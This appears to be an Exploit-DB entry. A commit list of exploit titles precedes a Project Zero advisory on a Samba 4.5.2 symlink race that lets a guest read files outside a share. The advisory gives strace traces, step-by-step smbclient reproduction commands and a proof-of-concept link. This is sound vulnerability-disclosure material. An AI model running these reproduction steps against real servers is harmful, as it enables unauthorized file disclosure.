ed0e1e4d44
1979 changes to exploits/shellcodes Couchdb 1.5.0 - 'uuids' Denial of Service Apache CouchDB 1.5.0 - 'uuids' Denial of Service Beyond Remote 2.2.5.3 - Denial of Service (PoC) udisks2 2.8.0 - Denial of Service (PoC) Termite 3.4 - Denial of Service (PoC) SoftX FTP Client 3.3 - Denial of Service (PoC) Silverstripe 2.3.5 - Cross-Site Request Forgery / Open redirection SilverStripe CMS 2.3.5 - Cross-Site Request Forgery / Open Redirection Silverstripe CMS 3.0.2 - Multiple Vulnerabilities SilverStripe CMS 3.0.2 - Multiple Vulnerabilities Silverstripe CMS 2.4 - File Renaming Security Bypass SilverStripe CMS 2.4 - File Renaming Security Bypass Silverstripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities SilverStripe CMS 2.4.5 - Multiple Cross-Site Scripting Vulnerabilities Silverstripe CMS 2.4.7 - 'install.php' PHP Code Injection SilverStripe CMS 2.4.7 - 'install.php' PHP Code Injection Silverstripe Pixlr Image Editor - 'upload.php' Arbitrary File Upload SilverStripe CMS Pixlr Image Editor - 'upload.php' Arbitrary File Upload Silverstripe CMS 2.4.x - 'BackURL' Open Redirection SilverStripe CMS 2.4.x - 'BackURL' Open Redirection Silverstripe CMS - 'MemberLoginForm.php' Information Disclosure SilverStripe CMS - 'MemberLoginForm.php' Information Disclosure Silverstripe CMS - Multiple HTML Injection Vulnerabilities SilverStripe CMS - Multiple HTML Injection Vulnerabilities Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Apache CouchDB 1.7.0 / 2.x < 2.1.1 - Remote Privilege Escalation Monstra CMS before 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (2) Monstra CMS < 3.0.4 - Cross-Site Scripting Monstra CMS < 3.0.4 - Cross-Site Scripting (1) Navigate CMS 2.8 - Cross-Site Scripting Collectric CMU 1.0 - 'lang' SQL injection Joomla! Component CW Article Attachments 1.0.6 - 'id' SQL Injection LG SuperSign EZ CMS 2.5 - Remote Code Execution MyBB Visual Editor 1.8.18 - Cross-Site Scripting Joomla! Component AMGallery 1.2.3 - 'filter_category_id' SQL Injection Joomla! Component Micro Deal Factory 2.4.0 - 'id' SQL Injection RICOH Aficio MP 301 Printer - Cross-Site Scripting Joomla! Component Auction Factory 4.5.5 - 'filter_order' SQL Injection RICOH MP C6003 Printer - Cross-Site Scripting Linux/ARM - Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (28 Bytes) Linux/ARM - sigaction() Based Egghunter (PWN!) + execve(_/bin/sh__ NULL_ NULL) Shellcode (52 Bytes)
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Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039
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The Samba server is supposed to only grant access to configured share
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directories unless "wide links" are enabled, in which case the server is allowed
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to follow symlinks. The default (since CVE-2010-0926) is that wide links are
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disabled.
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smbd ensures that it isn't following symlinks by calling lstat() on every
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path component, as can be seen in strace (in reaction to the request
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"get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share):
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root@debian:/home/user# strace -e trace=file -p18954
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Process 18954 attached
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lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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getcwd("/public", 4096) = 8
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lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
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lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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getxattr("a/b/c/d/e/f/g/h/i/j", "system.posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available)
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stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
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open("a/b/c/d/e/f/g/h/i/j", O_RDONLY) = 35
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This is racy: Any of the path components - either one of the directories or the
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file at the end - could be replaced with a symlink by an attacker over a second
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connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i
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with a symlink to / immediately before the open() call would cause smbd to open
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/j.
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To reproduce:
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- Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian
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unstable. I'm running the attacks on a native machine while the server is
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running in a VM on the same machine.)
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- On the server, create a world-readable file "/secret" that contains some
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text. The goal of the attacker is to leak the contents of that file.
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- On the server, create a directory "/public", mode 0777.
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- Create a share named "public", accessible for guests, writable, with path
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"/public".
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- As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in
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attack_commands.patch.
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- Build the patched copy of samba-4.5.2. The built smbclient will be used in
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the following steps.
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- Prepare the server's directory layout remotely and start the rename side of
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the race:
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$ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
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./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
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Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
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smb: \> posix
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Server supports CIFS extensions 1.0
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Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
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smb: /> ls
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. D 0 Wed Dec 14 23:54:30 2016
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.. D 0 Wed Dec 14 13:02:50 2016
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98853468 blocks of size 1024. 66181136 blocks available
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smb: /> symlink / link
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smb: /> mkdir normal
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smb: /> put /tmp/empty normal/secret # empty file
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putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s)
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smb: /> rename_loop link normal foobar
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- Over a second connection, launch the read side of the race:
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$ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
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./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
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Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
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smb: \> posix
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Server supports CIFS extensions 1.0
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Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
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smb: /> dump foobar/secret
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- At this point, the race can theoretically be hit. However, because the
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renaming client performs operations synchronously, the network latency makes
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it hard to win the race. (It shouldn't be too hard to adapt the SMB client to
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be asynchronous, which would make the attack much more practical.) To make it
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easier to hit the race, log in to the server as root and run "strace" against
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the process that is trying to access foobar/secret all the time without any
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filtering ("strace -p19624"). On my machine, this causes the race to be hit
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every few seconds, and the smbclient that is running the "dump" command
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prints the contents of the file each time the race is won.
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Proof of Concept:
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https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41740.zip |